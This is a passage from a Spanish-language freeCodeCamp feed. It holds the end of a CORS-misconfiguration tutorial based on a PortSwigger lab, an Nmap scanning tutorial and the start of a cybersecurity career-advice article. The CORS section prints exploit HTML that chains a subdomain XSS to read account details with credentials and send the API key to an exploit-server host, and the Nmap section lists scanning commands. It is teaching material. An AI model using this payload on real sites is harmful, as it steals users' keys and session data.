</code></pre><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*a-Fvk06eJoyL-9W9Oo5lvQ.png" class="kg-image" alt="Figure 15 — shows the domain accepts its subdomains’ origins. https://medium.com/r3d-buck3t #cors #web #pentesting #hacking" width="1155" height="523" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 15 — </em></em></em>muestra<em><em><em> </em></em></em>que el domino<em><em><em> ac</em></em></em>epta<em><em><em> </em></em></em>sus orígenes de los subdominios<em><em><em>.</em></em></em></em></p><p>Su te encuentras este escenario, necesitas verificar todos los subdominios existentes e intentar de encontrar una con una vulnerabilidad de XSS para explotarlo.</p><p>En el laboratorio Port Swigger #3, la aplicación confía que su subdominio – <strong>stock</strong> – es vulnerable a ataques de XSS en el parámetro <strong><code>ProductId=</code></strong>.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2082/1*HBCf3Iwa82ZAB0Frlll_pA.png" class="kg-image" alt="Image" width="1262" height="515" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2023/1*vqSoc_DI8kjbJTx-aF2DBg.png" class="kg-image" alt="Image" width="1226" height="495" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 16 &amp; 17 — </em></em></em>muestra que el subdominio de acciones es<em><em><em> vulnerable </em></em></em>a ataques de<em><em><em> XSS </em></em></em>e<em><em><em>n </em></em></em>el parámetro<em><em><em> ProductId.</em></em></em></em></p><p>Usaremos el mismo escript para explotar este caos, con excepción que agregaremos la ubicación donde inyectamos el payload usando la función <strong><code>document.location</code></strong>. Luego formatearemos el payload para que sea un payload de una línea así podemos pasarle en el parámetro.</p><pre><code class="language-html">&lt;script&gt;
    document.location="http://subdomain.domain.com/?productId=&lt;script&gt;
    &lt;script&gt;
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "APPLICATION URL/accountDetails",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  &lt;/script&gt; 
      &lt;/script&gt;
</code></pre><p>Después de eso, guardamos el script como <code><strong>cors_poc.html</strong></code>, lo hospedamos en nuestro servidor, y enviamos el enlace al usuario.</p><pre><code class="language-html">&lt;html&gt;
&lt;body&gt;
&lt;script&gt;
    document.location="http://Insecure-subdomain/?productId=&lt;script&gt;var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script&gt;&amp;storeId=1"
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre><p>Como puedes ver abajo en las capturas de pantalla, cuando el usuario accede al enlace, el script inyecta el payload en el parámetro <code><strong>productId</strong></code><strong> </strong>y recupera la clave API.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2454/1*bQu-QJBOmrH_DynC_VNbeg.png" class="kg-image" alt="Image" width="1487" height="595" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2531/1*-j8W-uY7yk-UmYol1cBzqg.png" class="kg-image" alt="Image" width="1534" height="603" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1957/1*NiWGBfvbWHT8Y47BuVrJ0w.png" class="kg-image" alt="Image" width="1186" height="580" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 18, 19 &amp; 20 — </em></em></em>muestra la inyección del payload<em><em><em> XSS </em></em></em>y<em><em><em> captur</em></em></em>a<em><em><em> </em></em></em>la clave<em><em><em> APi </em></em></em>e<em><em><em>n </em></em></em>acción<em><em><em>.</em></em></em></em></p><!--kg-card-begin: html--><h2 id="caso-inexplotable-comodin">Caso Inexplotable: Comodín (*)</h2><!--kg-card-end: html--><p>La aplicación NO es vulnerable cuando <strong><strong>Access-Control-Allow-Origin</strong> </strong>es puesto al comodín <code><strong>*</strong></code>, inclusive si la cabecera <strong><strong>Access-Control-Allow-Credentials</strong> </strong>es puesto a <strong>true.</strong></p><p>Esto se debe a que hay una verificación de seguridad que desactiva la cabecera Allow-Credentials cuando el origin es puesto a un comodín.</p><!--kg-card-begin: html--><h2 id="mitigaciones">Mitigaciones</h2><!--kg-card-end: html--><ul><li>Implementa las cabeceras de CORS apropiadas: El servidor puede agregar cabeceras de CORS apropiadas para permitir solicitudes entre orígenes solamente de sitios confiables.</li><li>Restringe acceso a datos sensibles: Esimportante restringir acceso a datos sensible a dominios confiables solamente. Esto se puede haceral implementar medidas de acceso de control tales como autenticación y autorización.</li></ul><h2 id="concluyendo"><strong>Concluyendo</strong></h2><p>En este tutorial, hemos cubierto lo básico de CORS como una característica de seguridad que previene que las páginas web hagan solicitudes no autorizados a distintos dominios.</p><p>También cubrimos las técnicas de prueba estándares de CORS para detectar y explotar configuraciones erróneas de CORS con herramientas como Burp Suites y las herramientas de desarrollo de Chrome.</p><p>Al implementar y probar CORS correctamente, los desarrolladores web puede asegurar que sus aplicaciones web están seguras y evitar configuraciones erróneas que permiten a los atacantes acceder a recursos no autorizados y comprometer la seguridad de la aplicación.</p><!--kg-card-begin: html--><h2 id="recursos">Recursos</h2><!--kg-card-end: html--><ul><li><a href="https://ranakhalil.teachable.com/p/web-security-academy-video-series">https://ranakhalil.teachable.com/p/web-security-academy-video-series</a></li><li><a href="https://www.trustedsec.com/blog/cors-findings/">https://www.trustedsec.com/blog/cors-findings/</a></li><li><a href="https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations">https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations</a></li><li><a href="https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/">https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/</a></li></ul> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Qué es Nmap y cómo usarlo: Un tutorial para la mejor herramienta de escaneo de todos los tiempos ]]>
                </title>
                <description>
                    <![CDATA[ Nmap es la herramienta de escaneo más famosa utilizada por los pentesters. En este artículo, veremos algunas características principales de Nmap junto con algunos comandos útiles. ¿Qué es Nmap? Nmap es la abreviatura de Network Mapper. Es una herramienta de línea de comandos de Linux de código abierto que se ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/que-es-nmap-y-como-usarlo-un-tutorial-para-la-mejor-herramienta-de-escaneo-de-todos-los-tiempos/</link>
                <guid isPermaLink="false">643c2b0610657f0643dec840</guid>
                
                    <category>
                        <![CDATA[ Ciberseguridad ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ BlackeyeB ]]>
                </dc:creator>
                <pubDate>Sun, 23 Apr 2023 01:42:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2023/04/wall-6.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/what-is-nmap-and-how-to-use-it-a-tutorial-for-the-greatest-scanning-tool-of-all-time/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">What is Nmap and How to Use it – A Tutorial for the Greatest Scanning Tool of All Time</a>
      </p><p>Nmap es la herramienta de escaneo más famosa utilizada por los pentesters. En este artículo, veremos algunas características principales de Nmap junto con algunos comandos útiles.</p><h1 id="-qu-es-nmap"><strong>¿Qué es Nmap?</strong></h1><p>Nmap es la abreviatura de Network Mapper. Es una herramienta de línea de comandos de Linux de código abierto que se utiliza para escanear direcciones IP y puertos en una red y para detectar aplicaciones instaladas.</p><p>Nmap permite a los administradores de red encontrar qué dispositivos se están ejecutando en su red, descubrir puertos y servicios abiertos y detectar vulnerabilidades.</p><p><a href="https://en.wikipedia.org/wiki/Gordon_Lyon" rel="noopener nofollow">Gordon Lyon (seudónimo Fyodor)</a> escribió Nmap como una herramienta para ayudar a mapear una red completa fácilmente y encontrar sus puertos y servicios abiertos.</p><p>Nmap se ha vuelto muy popular y aparece en películas como The Matrix y la popular serie Mr. Robot.</p><h1 id="-por-qu-usar-nmap"><strong>¿Por qué usar Nmap?</strong></h1><p>Hay una serie de razones por las que los profesionales de la seguridad prefieren Nmap a otras herramientas de análisis.</p><p>Primero, Nmap te ayuda a mapear rápidamente una red sin comandos ni configuraciones sofisticados. También admite comandos simples (por ejemplo, para verificar si un host está activo) y secuencias de comandos complejas a través del motor de secuencias de comandos Nmap.</p><p>Otras características de Nmap incluyen:</p><ul><li>Capacidad para reconocer rápidamente todos los dispositivos, incluidos servidores, enrutadores, conmutadores, dispositivos móviles, etc. en redes únicas o múltiples.</li><li>Ayuda a identificar los servicios que se ejecutan en un sistema, incluidos los servidores web, los servidores DNS y otras aplicaciones comunes. Nmap también puede detectar versiones de aplicaciones con una precisión razonable para ayudar a detectar vulnerabilidades existentes.<br></li><li>Nmap puede encontrar información sobre el sistema operativo que se ejecuta en los dispositivos. Puede proporcionar información detallada, como las versiones del sistema operativo, lo que facilita la planificación de enfoques adicionales durante las pruebas de penetración.<br></li><li>Durante la auditoría de seguridad y el escaneo de vulnerabilidades, puedes usar Nmap para atacar sistemas usando scripts existentes del motor de scripting de Nmap.<br></li><li>Nmap tiene una interfaz gráfica de usuario llamada Zenmap. Te ayuda a desarrollar mapeos visuales de una red para una mejor usabilidad y generación de informes.</li></ul><h1 id="comandos"><strong>Comandos</strong></h1><p>Veamos algunos comandos de Nmap. Si no tienes Nmap instalado, puedes <a href="https://nmap.org/download.html" rel="noopener nofollow">obtenerlo desde aquí</a>.</p><h2 id="escaneos-b-sicos"><strong>Escaneos básicos</strong></h2><p>Escanear la lista de dispositivos activos en una red es el primer paso en el mapeo de la red. Hay dos tipos de escaneos que puedes usar para eso:</p><ul><li><strong><strong><strong><strong>Escaneo de ping:</strong></strong></strong></strong> Escanea la lista de dispositivos en funcionamiento en una subred determinada.</li></ul><pre><code>&gt; nmap -sp 192.168.1.1/24</code></pre><ul><li><strong><strong><strong><strong>Escanear un solo host:</strong></strong></strong></strong> Escanea un solo host en busca de 1000 puertos conocidos. Estos puertos son los que utilizan servicios populares como SQL, SNTP, apache y otros.</li></ul><pre><code>&gt; nmap scanme.nmap.org</code></pre><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-3.png" class="kg-image" alt="1-3" width="600" height="400" loading="lazy"></figure><h2 id="escaneo-sigiloso"><strong>Escaneo sigiloso</strong></h2><p>El escaneo sigiloso se realiza enviando un paquete SYN y analizando la respuesta. Si se recibe SYN/ACK, significa que el puerto está abierto y puedes abrir una conexión TCP.</p><p>Sin embargo, un escaneo sigiloso nunca completo el <a href="https://www.geeksforgeeks.org/tcp-3-way-handshake-process/" rel="noopener nofollow">protocolo de enlace de 3 vías</a> , lo que dificulta que el objetivo determine el sistema de escaneo.</p><pre><code>&gt; nmap -sS scanme.nmap.org</code></pre><p>Puedes usar el comando <strong><strong><strong><strong>'-sS'</strong></strong></strong></strong> para realizar un escaneo sigiloso. Recuerda, el escaneo sigiloso es más lento y no tan agresivo como los otros tipos de escaneo, por lo que es posible que debas esperar un tiempo para obtener una respuesta.</p><h2 id="escaneo-de-versiones"><strong>Escaneo de versiones</strong></h2><p>Encontrar versiones de aplicaciones es una parte crucial en las pruebas de penetración.</p><p>Te facilita la vida, ya que puedes encontrar una vulnerabilidad existente en la base de datos <a href="https://cve.mitre.org/" rel="noopener nofollow">de Vulnerabilidades y Exploits Comunes (CVE)</a> para una versión particular del servicio. Luego puedes usarlo para atacar una máquina usando una herramienta de explotación como <a href="https://en.wikipedia.org/wiki/Metasploit_Project" rel="noopener nofollow">Metasploit</a> .</p><pre><code>&gt; nmap -sV scanme.nmap.org</code></pre><p>Para hacer un escaneo de versión, usa el comando '-sV'. Nmap proporcionará una lista de servicios con sus versiones. Ten en cuenta que los escaneos de versiones no siempre son 100% precisos, pero te acercan un paso más para ingresar con éxito a un sistema.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-5.png" class="kg-image" alt="1-5" width="600" height="400" loading="lazy"></figure><h2 id="escaneo-del-sistema-operativo"><strong>Escaneo del sistema operativo</strong></h2><p>Además de los servicios y sus versiones, Nmap puede proporcionar información sobre el sistema operativo subyacente mediante huellas dactilares de TCP/IP. Nmap también intentará encontrar el tiempo de actividad del sistema durante una exploración del sistema operativo.</p><pre><code>&gt; nmap -sV scanme.nmap.org</code></pre><p>Puedes usar las banderas adicionales como osscan-limit para limitar la búsqueda a algunos objetivos esperados. Nmap mostrará el porcentaje de confianza para cada conjetura del sistema operativo.</p><p>Una vez más, la detección del sistema operativo no siempre es precisa, pero contribuye en gran medida a ayudar a un pen tester a acercarse a su objetivo.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-6.png" class="kg-image" alt="1-6" width="600" height="400" loading="lazy"></figure><h2 id="escaneo-agresivo"><strong>Escaneo agresivo</strong></h2><p>Nmap tiene un modo agresivo que permite la detección del sistema operativo, la detección de versiones, el escaneo de scripts y el rastreo de rutas. Puedes utilizar el argumento -A para realizar un análisis agresivo.</p><pre><code>&gt; nmap -A scanme.nmap.org</code></pre><p>Los escaneos agresivos brindan mucha mejor información que los escaneos regulares. Sin embargo, un análisis agresivo también envía más sondeos y es más probable que se detecte durante las auditorías de seguridad.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-7.png" class="kg-image" alt="1-7" width="600" height="400" loading="lazy"></figure><h2 id="escaneo-de-varios-hosts"><strong>Escaneo de varios hosts</strong></h2><p>Nmap tiene la capacidad de escanear múltiples hosts simultáneamente. Esta característica es muy útil cuando administras una gran infraestructura de red.</p><p>Puedes escanear múltiples hosts a través de numerosos enfoques:</p><ul><li>Escribe todas las direcciones IP en una sola fila para escanear todos los hosts al mismo tiempo.</li></ul><pre><code>&gt; nmap 192.164.1.1 192.164.0.2 192.164.0.2</code></pre><ul><li>Utiliza el asterisco (*) para escanear todas las subredes a la vez.</li></ul><pre><code>&gt; nmap 192.164.1.*</code></pre><ul><li>Agrega comas para separar las terminaciones de las direcciones en lugar de escribir los dominios completos.</li></ul><pre><code>&gt; nmap 192.164.0.1,2,3,4</code></pre><ul><li>Usa un guion para especificar un rango de direcciones IP</li></ul><pre><code>&gt; nmap 192.164.0.0–255</code></pre><h2 id="escaneo-de-puertos"><strong>Escaneo de puertos</strong></h2><p>El escaneo de puertos es una de las características más fundamentales de Nmap. Puedes buscar puertos de varias maneras.</p><ul><li>Usando el parámetro -p para buscar un solo puerto</li></ul><pre><code>&gt; nmap -p 973 192.164.0.1</code></pre><ul><li>Si especificas el tipo de puerto, puedes buscar información sobre un tipo particular de conexión, por ejemplo, para una conexión TCP.</li></ul><pre><code>&gt; nmap -p T:7777, 973 192.164.0.1</code></pre><ul><li>Se puede escanear un rango de puertos separándolos con un guion.</li></ul><pre><code>&gt; nmap -p 76–973 192.164.0.1</code></pre><ul><li>También puede usar el indicador <strong><strong><strong><strong>-top-ports</strong></strong></strong></strong> para especificar los n puertos principales para escanear.</li></ul><pre><code>&gt; nmap --top-ports 10 scanme.nmap.org</code></pre><h2 id="escaneo-desde-un-archivo"><strong>Escaneo desde un archivo</strong></h2><p>Si deseas escanear una gran lista de direcciones IP, puedes hacerlo importando un archivo con la lista de direcciones IP.</p><pre><code>&gt; nmap -iL /input_ips.txt</code></pre><p>El comando anterior producirá los resultados del escaneo de todos los dominios dados en el archivo "input_ips.txt". Además de simplemente escanear las direcciones IP, también puedes usar opciones y banderas adicionales.</p><h2 id="verbosidad-y-exportaci-n-de-resultados-de-escaneo"><strong>Verbosidad y exportación de resultados de escaneo</strong></h2><p>Las pruebas de penetración pueden durar días o incluso semanas. Exportar los resultados de Nmap puede ser útil para evitar trabajo redundante y ayudar a crear informes finales. Veamos algunas formas de exportar los resultados del escaneo de Nmap.</p><h3 id="salida-detallada"><strong>Salida detallada</strong></h3><pre><code>&gt; nmap -v scanme.nmap.org</code></pre><p>La salida detallada proporciona información adicional sobre el análisis que se está realizando. Es útil monitorear paso a paso las acciones que Nmap realiza en una red, especialmente si eres un extraño que escanea la red de un cliente.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-8.png" class="kg-image" alt="1-8" width="600" height="400" loading="lazy"></figure><h3 id="salida-normal"><strong>Salida normal</strong></h3><p>Los escaneos de Nmap también se pueden exportar a un archivo de texto. Será ligeramente diferente de la salida de la línea de comandos original, pero capturará todos los resultados de escaneo esenciales.</p><pre><code>&gt; nmap -oN output.txt scanme.nmap.org</code></pre><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-9.png" class="kg-image" alt="1-9" width="600" height="400" loading="lazy"></figure><h3 id="salida-xml"><strong>Salida XML</strong></h3><p>Los escaneos de Nmap también se pueden exportar a XML. También es el formato de archivo preferido de la mayoría de las herramientas de prueba de penetración, lo que lo hace fácilmente analizable al importar resultados de escaneo.</p><pre><code>&gt; nmap -oX output.xml scanme.nmap.org</code></pre><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-10.png" class="kg-image" alt="1-10" width="600" height="400" loading="lazy"></figure><h3 id="m-ltiples-formatos"><strong>Múltiples Formatos</strong></h3><p>También puedes exportar los resultados del escaneo en todos los formatos disponibles a la vez usando el comando -oA.</p><pre><code>&gt; nmap -oA output scanme.nmap.org</code></pre><p>El comando anterior exportará el resultado del escaneo en tres archivos: salida.xml, salida. Nmap y salida.gnmap.</p><h2 id="ayuda-nmap"><strong>Ayuda Nmap</strong></h2><p>Nmap tiene un comando de ayuda incorporado que enumera todas las banderas y opciones que puedes usar. A menudo es útil dada la cantidad de argumentos de línea de comandos con los que viene Nmap.</p><pre><code>&gt; nmap -h</code></pre><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-12.png" class="kg-image" alt="1-12" width="600" height="400" loading="lazy"></figure><h1 id="motor-de-secuencias-de-comandos-nmap"><strong>Motor de secuencias de comandos Nmap</strong></h1><p>Nmap Scripting Engine (NSE) es una herramienta increíblemente poderosa que puedes usar para escribir scripts y automatizar numerosas funciones de red.</p><p>Puedes encontrar muchos scripts distribuidos en Nmap o escribir tu propio script según tus requisitos. Incluso puedes modificar scripts existentes usando el <a href="https://en.wikipedia.org/wiki/Lua_(programming_language)" rel="noopener nofollow">lenguaje de programación Lua</a> .</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-13.png" class="kg-image" alt="1-13" width="600" height="400" loading="lazy"></figure><p>NSE también tiene secuencias de comandos de ataque que se utilizan para atacar la red y varios protocolos de red.</p><p>Repasar el motor de secuencias de comandos en profundidad estaría fuera del alcance de este artículo, por lo que <a href="https://nmap.org/book/nse.html" rel="noopener nofollow">aquí hay más información sobre el motor de secuencias de comandos Nmap.</a></p><h2 id="zenmap"><strong>Zenmap</strong></h2><p>Zenmap es una interfaz gráfica de usuario para Nmap. Es un software gratuito y de código abierto que te ayuda a comenzar a utilizar Nmap.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://www.freecodecamp.org/news/content/images/2020/09/1-15.png" class="kg-image" alt="1-15" width="600" height="400" loading="lazy"></figure><p>Además de proporcionar mapeos de red visuales, Zenmap también te permite guardar y buscar tus escaneos para uso futuro.</p><p>Zenmap es excelente para los principiantes que desean probar las capacidades de Nmap sin pasar por una interfaz de línea de comandos.</p><h1 id="conclusi-n"><strong>Conclusión</strong></h1><p>Nmap es claramente la "navaja suiza" de las redes, gracias a su inventario de comandos versátiles.</p><p>Te permite escanear y descubrir rápidamente información esencial sobre tu red, hosts, puertos, firewalls y sistemas operativos.</p><p>Nmap tiene numerosas configuraciones, indicadores y preferencias que ayudan a los administradores de sistemas a analizar una red en detalle.</p><p>Si deseas aprender Nmap en profundidad, <a href="https://github.com/jasonniebauer/Nmap-Cheatsheet" rel="noopener nofollow">este es un gran recurso</a>.</p><p><em><em><em><em>¿Te encantó este artículo? </em></em></em></em><a href="http://tinyletter.com/manishmshiva" rel="noopener nofollow"><strong><strong><strong><strong><em><em><em><em>Únete a mi Newsletter</em></em></em></em></strong></strong></strong></strong></a><em><em><em><em> y recibe un resumen de mis artículos y videos todos los lunes.</em></em></em></em></p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cómo obtener un trabajo en Ciberseguridad: Consejos de un Director de Recursos Humanos ]]>
                </title>
                <description>
                    <![CDATA[ La ciberseguridad es uno de los campos tecnológicos de más rápido crecimiento. Hubo más de 3,5 millones de puestos de trabajo vacantes previstos para finales de 2021. Ha habido una tasa de desempleo del 0% desde 2011 y el gasto en dichos servicios alcanzó los 123 mil millones de dólares ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-obtener-un-trabajo-en-ciberseguridad-to-get-a-cybersecurity-job-tips-from-a-hiring-manager/</link>
                <guid isPermaLink="false">62ddbe01b4def50851974327</guid>
                
                    <category>
                        <![CDATA[ Ciberseguridad ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Andrés  Torres ]]>
                </dc:creator>
                <pubDate>Tue, 26 Jul 2022 02:57:19 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2022/07/joshua-gandara-xxn48oa73sM-unsplash.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/how-to-get-a-cybersecurity-job-tips-from-hiring-manager/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">How to Get a Cybersecurity Job – Tips from a Hiring Manager</a>
      </p><p>La ciberseguridad es uno de los campos tecnológicos de más rápido crecimiento. Hubo más de 3,5 millones de puestos de trabajo vacantes previstos para finales de 2021. Ha habido una tasa de desempleo del 0% desde 2011 y el gasto en dichos servicios alcanzó los 123 mil millones de dólares en 2020.</p><p>Ya sea te hayas graduado recién, o estés buscando hacer un cambio en tu carrera, saber cómo posicionarse mejor en una entrevista puede darte la ventaja.</p><p>He estado trabajando en seguridad informática durante más de 10 años y me especialicé en Sistemas de Información Empresarial y Lenguas y Literaturas Clásicas (odiaba las matemáticas, así que la carrera de Informática estaba descartada). </p><p>El <em>quid</em> de la cuestión es que no necesitas una formación académica en informática para comenzar en el área de ciberseguridad, solo necesitas tener curiosidad y aplicación a la hora de aprender.</p><p>A continuación te presento 10 consejos que he reunido para que puedas orientarte en tu preparación para buscar tu primer o próximo puesto laboral en el área de ciberseguridad.</p><h2 id="0-aplica-al-trabajo"><strong>0. Aplica al trabajo</strong></h2><p>Olvídate de las calificaciones enumeradas en la publicación del trabajo (bueno, tal vez no del todo). ¿El trabajo parece interesante? ¿Te gustaría trabajar en la empresa? ¿Tienes algunos de los criterios? ¡Entonces aplica!</p><p>Con demasiada frecuencia, he visto a personas muy calificadas que no solicitan puestos de trabajo porque sienten que no cumplirán con todos los criterios enumerados. Pero si cree que puede cumplir con algunos de los requisitos, presenta su solicitud y al menos tendrás un diálogo.</p><p>A menudo, los gerentes de contratación terminan lanzando todos los requisitos que se les ocurren en la descripción del trabajo, en lugar del mínimo necesario para el puesto. Olvídate también de los requisitos de pregrado: algunas de las empresas más grandes del mundo ya no requieren títulos.</p><h2 id="1-participa-en-una-comunidad-de-ciberseguridad"><strong>1. Participa en una comunidad de ciberseguridad</strong></h2><p>Únete a grupos de reuniones locales o participa en competencias Capture the Flag, como las organizadas por la National Cyber League. Estos eventos están abiertos tanto para principiantes como para personas con experiencia, y ayudan a demostrar su pasión y compromiso con el crecimiento de la ciberseguridad.</p><p>A menudo instruyo a nuestros reclutadores para que resalten cualquier currículum que encuentren donde vean que el candidato participó en eventos de seguridad cibernética.</p><p>En cada entrevista que realizo, siempre pregunto cómo el candidato se mantiene al día con la seguridad cibernética; este es un buen momento para hablar sobre su lista de lectura, proyectos y los eventos y grupos de los que forma parte.</p><h2 id="2-realiza-tu-propia-investigaci-n"><strong>2. Realiza tu propia investigación</strong></h2><p>Un área en la que veo que los candidatos se destacan del resto es cuando demuestran que han investigado mi empresa y la industria en la que se encuentra. Cada candidato debe estar preparado para responder "¿Qué amenazas ve contra mi empresa y qué consejo le daría a los líderes para mitigar estas amenazas?". </p><p>Aún mejor, si conoces el nombre de tu entrevistador antes de la entrevista; dedica un tiempo a investigarlo en LinkedIn para tener una idea de sus antecedentes.<br>Una de las mejores entrevistas que realicé fue con un candidato que en realidad realizó un reconocimiento en mi empresa antes de la entrevista.</p><p>Buscaron la información de mi empresa en Shodan, Google y otras vías para tener una idea de la exposición potencial y una comprensión de nuestra presencia pública.</p><p><em><em>Not</em>a<em>: </em>No intentes escanear activamente la infraestructura de la empresa ni informar vulnerabilidades durante tu entrevista. Este tipo de actividad se encuentra en el área gris de la legalidad en el mejor de los casos, y probablemente no te ganará la simpatía del entrevistador.</em></p><h2 id="3-mantente-al-tanto-de-las-tendencias"><strong>3. Mantente al tanto de las tendencias</strong></h2><p>Cualquier candidato al que entrevisto, debería poder darme información básica sobre las últimas tendencias en ciberseguridad. Esto incluye poder discutir qué es "WannaCry", sus pensamientos sobre infracciones recientes (como el reciente ataque de SolarWinds) y sus sugerencias sobre cómo prevenir, contener, responder y recuperarse del ransomware.</p><p>Dependiendo de la antigüedad, es posible que no espere información técnica detallada, pero se requiere (al menos) una comprensión superficial.</p><h2 id="4-la-presentaci-n-es-importante"><strong>4. La presentación es importante</strong></h2><p>Si bien puede ser tedioso, debes asegurarte de adaptar tu currículum y carta de presentación para resaltar las áreas de interés que están en línea con la oferta de trabajo. Adapta tu currículum al trabajo que estás solicitando; no agregues una larga lista de información innecesaria.</p><h3 id="introducci-n">Introducción</h3><p>La primera parte del currículum, además de su nombre e información de contacto, debe ser un breve párrafo introductorio que realmente me convenza. Explica lo que traes a la mesa: esta sección te ayuda a diferenciarte de los otros currículos que solo enumeran la experiencia laboral sin dar contexto.</p><h3 id="experiencia-laboral"><br>Experiencia laboral</h3><p>Enumera la posición más actual que tienes y luego continúa con la lista en orden inverso. Prepárate para discutir cualquier brecha notable en el empleo. Si has estado en el ámbito profesional durante bastante tiempo, no necesitas enumerar todas las carreras: 10-15 años es un buen rango para mostrar. Nadie quiere leer un currículum de diez páginas, así que asegúrate de que cada espacio sea relevante. Evita los acrónimos cuando sea posible. Adicionalmente, puedes proporcionar al menos tres viñetas para cada trabajo que figura en el currículum. En caso de hacerlo, asegúrate de que estas viñetas enumeren tus logros y, cuando sea posible. Proporciona números concretos en lugar de texto vago. Por ejemplo, "Logré una reducción de costes del 60%" suena mejor que "Ahorré dinero de la compañía".</p><p><em>Una nota sobre la gramática: Usa el tiempo presente para el trabajo en el que estás trabajando y el tiempo pasado para todos los roles anteriores. Además, utiliza el corrector de gramática y ortografía en el programa de procesamiento de texto. Un currículum mal escrito a menudo es rechazado incluso antes de que se envíe al gerente de contratación.</em></p><h3 id="membres-as-profesionales-publicaciones-charlas-y-certificaciones">Membresías profesionales, publicaciones, charlas y certificaciones</h3><p>Si corresponde, usa esta sección para enumerar las juntas, comunidades u organizaciones profesionales a las que perteneces, así como su membresía (por ejemplo, miembro, director, fundador, etc.). Esto ayuda a mostrarle al gerente de contratación tu participación en la comunidad fuera de su trabajo diario y, en general, te convierte en un candidato más atractivo.</p><p>Siéntete libre de agregar membresías relevantes o interesantes fuera de los grupos de seguridad informática, como un líder de tropa de Girl Scouts o un miembro de la junta de una organización sin fines de lucro. Si su publicación o participación como orador está disponible en línea, incluya enlaces al contenido. Por último, enumera tus certificaciones, incluido el organismo emisor y cuándo obtuvo la certificación.</p><h3 id="habilidades-t-cnicas">Habilidades técnicas</h3><p>Ojo con este apartado. Es tentador enumerar todos los términos técnicos bajo el sol aquí, pero debes concentrarte en las habilidades que crees que te convertirán en un activo para el puesto al que se postula.</p><p>Mi primer "filtro" aquí es cuando los candidatos colocan "conocimientos genéricos" como"OSI model", "TCP", "IP", "SSH", "Windows operating system", "Mac operating system", o incluso una simple lista de herramientas de seguridad.</p><p>Cuando un gerente de contratación ve una sección de habilidades técnicas que solo enumera las herramientas de seguridad, su primer pensamiento suele ser "¿Puede este candidato desempeñarse si no tuviera acceso a estas herramientas?"</p><p><em>Precaución: Si incluyes una habilidad en tu currículum, prepárate para discutirla. Aprendí esto yo mismo en una entrevista en la que me hicieron una serie de preguntas muy técnicas sobre el lenguaje Python simplemente porque lo puse en mi currículum.</em></p><h2 id="5-desarrolla-tus-habilidades-duras"><strong>5. Desarrolla tus habilidades duras</strong></h2><h3 id="habilidades-de-programaci-n"><strong>Habilidades de programación</strong></h3><p>Si bien no se requiere para muchos roles, presto atención a los currículos que indican que el candidato tiene algún tipo de experiencia en desarrollo o codificación.</p><p>Si no tienes experiencia formal en desarrollo, <strong>pero puedes hacer algo de programación básica</strong> (toda mi "programación" implica tener StackOverflow abierto en una ventana del navegador). Definitivamente, debes incluir eso en su currículum.</p><p>Si has contribuido a algún proyecto de código abierto, o has trabajado en el código usted mismo, asegúrate de que también esté resaltado en tu currículum; esto es algo que trato de buscar en los currículums. Sitios como <a href="https://freecodecamp.org/">freeCodeCamp</a>, <a href="https://codebashing.com/">CodeBashing, </a>y <a href="https://leetcode.com/">LeetCode </a> pueden ayudar a proveer un fundamento sólido en <em>scripting</em> y <em>coding</em>.</p><h3 